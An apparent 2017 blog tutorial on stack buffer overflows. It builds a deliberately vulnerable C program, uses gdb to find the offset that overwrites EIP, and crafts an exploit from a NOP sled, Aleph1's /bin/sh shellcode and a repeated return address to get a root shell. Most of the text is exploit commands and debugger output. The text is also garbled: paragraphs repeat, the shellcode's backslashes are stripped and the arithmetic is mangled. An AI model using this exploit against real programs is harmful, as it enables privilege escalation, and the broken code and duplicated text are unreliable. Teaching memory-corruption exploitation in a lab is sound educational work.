Tuesday, February 21, 2017
An Introduction To Buffer Overflow Attack With Example
An Introduction To Buffer Overflow Attack With Example
What is a buffer overflow?
A buffer overflow is where you input too much data into something that cannot hold it.
What can exploiting a Buffer Overflow Vulnerability do?
A Buffer Overflows main objective is to overwrite the memory address within the EIP (Extended Instruction Pointer) register to control the flow of the program. The EIP register is known as something called an Address Register, meaning it stores memory addresses within it. The EIP register is used to point to the next instruction that is going to be executed. During calling functions, the value of EIP is stored in the stack and is later collected and put back into the register so that it can return to its previous location just after the function call. If you can alter EIPs value, you can change whats executed. Thats one of the main reasons Buffer Overflows are so widely used, especially if the program is running as root. That could allow you to make the program execute something under root privileges.
How do we exploit Buffer Overflow Vulnerabilities?
How do we exploit Buffer Overflow Vulnerabilities?
For this scenario, Ive hand crafted a simple vulnerable program for usage in this tutorial:
Code:
//colour.c
#include <stdio.h>
vuln_func(char *parr)
{
char colour[100];
strcpy(colour, parr);
printf("Your favourite colour is: %s ", colour);
}
main(int argc, char * argv[])
{
vuln_func(argv[1]);
}
This program simply outputs the users favorite colour as entered via a command-line argument. For example ./colour blue would output Your favorite colour is: blue.
Lets compile that with gcc and get exploiting. (Well be using the command gcc -mpreferred-stack-boundary=2 -o colour -ggdb colour.c run as the root user). Its very likely that youll encounter warnings during compilation but what do you expect when youre attempting to design vulnerable code?
Remember that our aim is to overwrite the EIP register. Well be using gdb (The GNU Project Debugger) to see whats going on and whether its worked.
Lets compile that with gcc and get exploiting. (Well be using the command gcc -mpreferred-stack-boundary=2 -o colour -ggdb colour.c run as the root user). Its very likely that youll encounter warnings during compilation but what do you expect when youre attempting to design vulnerable code?
Remember that our aim is to overwrite the EIP register. Well be using gdb (The GNU Project Debugger) to see whats going on and whether its worked.
Code:
root@Root:~Desktop# gdb -q colour
Reading symbols from /root/Desktop/colour...done.
(gdb)
Now lets use perl to go outside the buffer size by sending 210 characters instead of the maximum size of our buffer of 100.
Code:
(gdb) run `perl -e print "A" x 210`
Starting program: /root/Desktop/colour `perl -e print "A" x 210`
Program received signal SIGSEGV, Segmentation fault.
0x4002269f in strlen () from /lib/libc.so.6
You should have a similar error to this. We can confirm that weve failed to overwrite EIP with this command:
Code:
(gdb) info reg eip
eip 0x4002269f 0x4002269f
Below is a small diagram of how the program variables and registers appear within the stack at this moment.
-
|ESP|person|EBP|EIP|arr|
<
|ESP|person|EBP|EIP|arr|
<
The reason this didnt work is because there are several nested functions (Including the call for the printf function, which is where our error 0x4002269f in strlen () from /lib/libc.so.6? is coming from. Printf in actual fact calls vfprintf() and then that calls strlen, creating a lot of jmps in the code)in the program which means that there are multiple stack frames. The perl print has most likely overwritten past EIP and then overwritten some important function arguments stored in those stack frames. We can use the list command in gdb to view our C source and decide the best place to add a breakpoint.
Code:
(gdb) list
3 vuln_func(char *parr)
4 {
5 char colour[100];
6 strcpy(colour, parr);
7 printf("Your favourite colour is: %s ", colour);
8 }
9 main(int argc, char * argv[])
10 {
11 vuln_func(argv[1]);
12 }
(gdb) b 7
Breakpoint 1 at 0x8048464: file colour.c, line 7.
b is the breakpoint command for gdb. Ive set it to line 7 because thats where the printf function is called, which will lead to our previous error 0x4002269f in strlen () from /lib/libc.so.6?. Now if we run the program again;
Code:
(gdb) run `perl -e print "A" x 210`
Starting program: /root/Desktop/colour `perl -e print "A" x 210`
Breakpoint 1, vuln_func (arr=0x41414141 "") at colour.c:7
7 printf("Your favourite colour is: %s ", colour);
Now we can see we have made arr become equal to our memory address 0×41414141 however we need to remove the NULL that is also there, so for good practice, well use less As until we get to the perfect number. So lets delete our last breakpoint and do that.
Code:
(gdb) d 1
(gdb) run `perl -e print "A" x 151
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/colour `perl -e print "A" x 151`
Your favorite colour is: AA
AA
AAProgram received signal SIGSEGV, Segmentation fault.
(gdb) info reg ebp eip
ebp 0xbfff2041 0xbfff2041
eip 0x80484dc 0x80484dc
As you can see, the last part of the EBP registers value was changed to the hex value of the character A, however we still need to overwrite with 7 more bytes (1 byte = 2 hex characters) for the perfect number of characters to fill the EBP register and the EIP register. This is because as you see below, we still have to use 3 more bytes to fill the EBP register, however our aim is to corrupt the EIP register, so we need to overflow 4 more bytes on top of the three bytes to actually corrupt EIP (however, you will see soon that those 4 bytes are going to be something other than AAAA (0×41414141)).
Code:
(gdb) run `perl -e print "A" x 158
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/colour `perl -e print "A" x 158`
Your favorite colour is: AA
AA
AA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Now lets check whats happened with the program.
Code:
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
So now we have our perfect number. Next were going to need some shellcode and the value of ESP. Whats the ESP register? Its the register that points to where the top of the stack is. We go about getting it from our own little C program as shown below. (The ASM in our code below is written in AT&T Syntax and not Intel Syntax so dont get confused because were moving the value of ESP into EAX)
Code:
//espval.c
#include <stdio.h>
unsigned long stackpointer(void)
{
__asm__("movl %esp, %eax);
}
int main()
{
printf("Value of ESP: 0x%x ", stackpointer());
}
Compile and run several times and well get the same address. If you arent getting the same address, you need to disable Address Space Layout Randomization (ASLR).
Code:
root@Root:~/Desktop#./espval
Value of ESP: 0xbffffef1
Youre probably wondering why we actually need this. Its needed because we want to create a NOP sled. A NOP sled is a collection of NOP instructions that do nothing (NOP = No Operation). The hex code 0×90 is usually representative of NOP.
For the purpose of this tutorial, were going to be using Aleph1?s Shellcode and save us the time of writing our own. It is as follows below:
x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89 ? x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd ?x80xe8xdcxffxffxff/bin/sh
Now lets put that into a perl variable called shelly.
For the purpose of this tutorial, were going to be using Aleph1?s Shellcode and save us the time of writing our own. It is as follows below:
x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89 ? x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd ?x80xe8xdcxffxffxff/bin/sh
Now lets put that into a perl variable called shelly.
Code:
root@Root:~/Desktop$ perl -e print x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89?x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd?x80xe8xdcxffxffxff/bin/sh"; > shelly
Now you can calculate the size of your Shellcode with the command wc -c shelly. If youre using the same Shellcode, that should come out to 53 bytes.
Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. Its generally good practice to have about half of that for the NOP sled. So well use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. Ill estimate 0×80. I subtract this fro the ESP value as shown below to get my Return Address.
Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. Its generally good practice to have about half of that for the NOP sled. So well use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. Ill estimate 0×80. I subtract this fro the ESP value as shown below to get my Return Address.
0xbffffef1 0×80 = 0xBFFFFE71
Now we need to convert this address into Little-Endian format because thats the architecture we are working with (This just involved flipping the bytes of the memory address around in Shellcode (remember, 2 hex characters per byte)). This gives us:
x71xfexffxbf
Now to find out how many times we need this, we need to do a simple calculation; (Attack Buffer Size Number of NOP bytes Number of Bytes of Shellcode) / 4 bytes that make up our return address.
(158-75-53)/4 = 7.5
That means we need to repeat this address 7 times (always round down). SO lets recap;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of Shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of Shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;
Code:
root@Root:~/Desktop$ ./colour `perl -e print "x90"x75;` `cat shelly` `perl -e print "x71xfexffxbf"x7;`
Segmentation fault
We get a nice error. Thats because 156 does not equal 158. We need two more NOP bytes for it to work.
Code:
root@Root:~/Desktop$ ./colour `perl -e print "x90"x77;` `cat shelly` `perl -e print "x71xfexffxbf"x7;`
Your favorite colour is:
Followed by a LOT of random characters until finally you get what you wanted.
Code:
root@Root:~/Desktop#